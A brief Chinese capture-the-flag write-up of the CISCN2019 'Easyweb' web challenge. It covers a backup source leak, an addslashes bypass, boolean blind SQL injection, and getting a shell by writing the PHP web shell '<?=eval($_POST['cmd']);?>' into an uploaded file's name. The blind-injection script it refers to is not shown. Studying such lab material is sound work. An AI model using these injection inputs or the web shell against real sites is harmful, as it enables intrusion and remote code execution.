[CISCN2019 总决赛 Day2 Web1]Easyweb

[CISCN2019 总决赛 Day2 Web1]Easyweb

考点

  • .php.bak源码泄露

  • 盲注

  • 利用转义进行bypass

  • 文件上传

  • <?=绕过<?php的限制

wp

扫描发现robots.txt,其内容如下,意味着可以获取源码,目前已知的文件有 index.php,user.php,image.php

User-agent: *
Disallow: *.php.bak

发现image.php.bak存在,下载进行审计,可以看到如下代码

$id = $_GET['id'];
$id=addslashes($id);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);

如果输入参数id=\\0 那么最终处理后的内容为 \\\,SQL语句拼接如下

这就会转义单引号,使第一个单引号闭合第三个单引号

然后进行注入,发现过滤空格和单双引号,在请求 id=\\0&path= or 1%23 时返回正常图片,请求 id=\\0&path= or 0%23 时返回图片错误。这里就是盲注了

可以获得当前数据库为 ciscnfinal,表为 images,users,users表中的字段为username,password,内容为 admin d2bf6e35814ce4f64d44,这就拿到了用户名和密码,盲注脚本如下

直接登陆后,发现是文件上传,随意上传一个txt文件,发现返回了一个日志地址

访问之后显示

这里包含了上传文件的文件名,就可以在上传文件的文件名那里去写shell,发现其过滤了<?php 但是可以使用 <?= 来绕过

上传文件名改为 <?=eval($_POST['cmd']);?> 即可getshell

最后更新于